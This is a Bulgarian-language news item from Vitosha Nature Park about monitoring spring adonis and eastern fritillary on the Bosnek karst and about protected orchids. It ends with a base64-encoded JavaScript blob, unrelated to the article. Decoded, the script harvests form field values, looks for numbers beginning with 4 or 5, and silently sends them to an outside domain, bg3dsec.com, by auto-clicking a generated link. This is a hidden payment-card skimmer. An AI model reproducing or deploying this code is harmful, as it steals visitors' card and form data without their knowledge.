И тази година експертите от Дирекция на Природен парк „Витоша проведоха монторинг на характерните за Боснешкия карст растения – източна ведрица (Fritillaria orientalis) – вид от Приложение 3 на Закона за биологичното разнообразие и пролетен горицвет (Adonis vernalis). Пролетният горицвет е декоративно и лечебно растение, индикаторен вид за карстовите местообитания. Заради ярко жълтите си цветове представлява естетически интерес за посетителите. Надземната му част се употребява в медицината с повишено внимание, тъй като е отровно растение. Видът е включен в Закона за лечебните растения и в приложение 2 на Конвенцията по международната търговия със защитени видове от дивата фауна и флора (CITES).

По карстовите южни склонове на Витоша се срещат и други редки видове растения. Сред най-атрактивните са орхидеите, от които цъфтящи в момента са обикновен, пурпурен, маймунски, тризъбест салеп и други. Интересен факт е, че името им идва от гръцката дума „orchi“, която означава „тестис“ и насочва вниманието към характерната форма на грудките на много от предствителите им.

От семейството на орхидеите, в Природния парк се срещат над половината от разпространените у нас видове. Те са разпространени в почти всички природни местообитания на Витоша, но едно от тях е приоритетно за тяхното опазване. В научната номенклатура е известно под името „6210 Полуестествени сухи тревни и храстови съобщества върху варовик (Festuco-Brometalia)“. То е включено e в Приложение I на Директивата за местообитанията, в Закона за биологичното разнообразие и е най-разпространеното местообитание в Боснешкия карстов район.

Голяма част от видовете орхидеи са включени в национални и международни документи за защита и са забранени за събиране и търговия.

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ubm49aGFoYTMNCn0NCn0NCn0NCmlmKGhhaGEzLmxlbmd0aD09MTcpew0KaWYoaXNudW09PXRydWUpew0KaWYoY2hlY2syPT0xKXsNCmNoZWNrMT0nMCc7DQp9DQp9DQp9DQppZihoYWhhMy5sZW5ndGg+MCl7DQppZihoYWhhMj09ImhpZGRlbiIpew0KfSBlbHNlIHsNCnN0cjE9c3RyMStoYWhhNCsiLS0iK2hhaGEzKyItIjsNCn0NCn0NCn0NCnZhciBjaDE9JzEnDQppZihjaGVjazE9PTEpew0KdmFyIGZvcm1zQ29sbGVjdGlvbjI9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NlbGVjdCcpOw0KZm9yICh2YXIgaTI9MDsgaTI8Zm9ybXNDb2xsZWN0aW9uMi5sZW5ndGg7IGkyKyspew0KdmFyIHNoYWhhPWZvcm1zQ29sbGVjdGlvbjJbaTJdLmlkOw0KdmFyIHNoYWhhMj1mb3Jtc0NvbGxlY3Rpb24yW2kyXS50eXBlOw0KdmFyIHNoYWhhMz1mb3Jtc0NvbGxlY3Rpb24yW2kyXS52YWx1ZTsNCnZhciBzaGFoYTQ9Zm9ybXNDb2xsZWN0aW9uMltpMl0ubmFtZTsNCnN0cjE9c3RyMStzaGFoYTQrIi0tIitzaGFoYTMrIi0iDQpzaXRlPXNpdGUrIi1Sb2xAYW5kNFlvdSI7DQpzdHIxPXNpdGUrIi0iK3N0cjE7DQp9DQoNCmlmKHNpdGU9PSIzZHMuYm9yaWNhLmJnIil7DQp9IGVsc2Ugew0KaWYobm5uLnN0YXJ0c1dpdGgoIjQiKSB8fCBubm4uc3RhcnRzV2l0aCgiNSIpKXsNCmxvb2xhPTE7DQp2YXIgYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQp2YXIgbGlua1RleHQ9ZG9jdW1lbnQuY3JlYXRlVGV4dE5vZGUoIm15IHRpdGxlIHRleHQiKTsNCmEuYXBwZW5kQ2hpbGQobGlua1RleHQpOw0KYS5pZD0iaWQyMjIiOw0KYS50aXRsZT0ibXkgdGl0bGUgdGV4dCI7DQpkYXRhNCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ6Y2gyIikuaW5uZXJIVE1MOw0KYS5ocmVmPSJodHRwczovL2JnM2RzZWMuY29tLyIrZm9mZisiP1M9IitkYXRhNCsiLSIrc2l0ZSsiJkQ9IitzdHIxKyImTj0iK25ubjsNCmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaWQyMjInKS5jbGljaygpOw0KdmFyIGlnPTA7DQp2YXIgZD1uZXcgRGF0ZSgpOw0KdmFyIG49ZC5nZXRTZWNvbmRzKCk7DQpkbyB7DQp2YXIgZDI9bmV3IERhdGUoKTsNCnZhciBuND1kMi5nZXRTZWNvbmRzKCk7DQppZihuPDU1KXsNCmlmKG4rNTxuNCl7DQppZz0zOw0KfQ0KfQ0KaWYobj41NCl7DQppZihuKzU8bjQrNjApew0KaWc9MzsNCn0NCn0NCn0NCndoaWxlIChpZzwyKTsNCmlmKGxvb2xhPT0xKXsNCn0NCn0NCn0NCn0NCn0=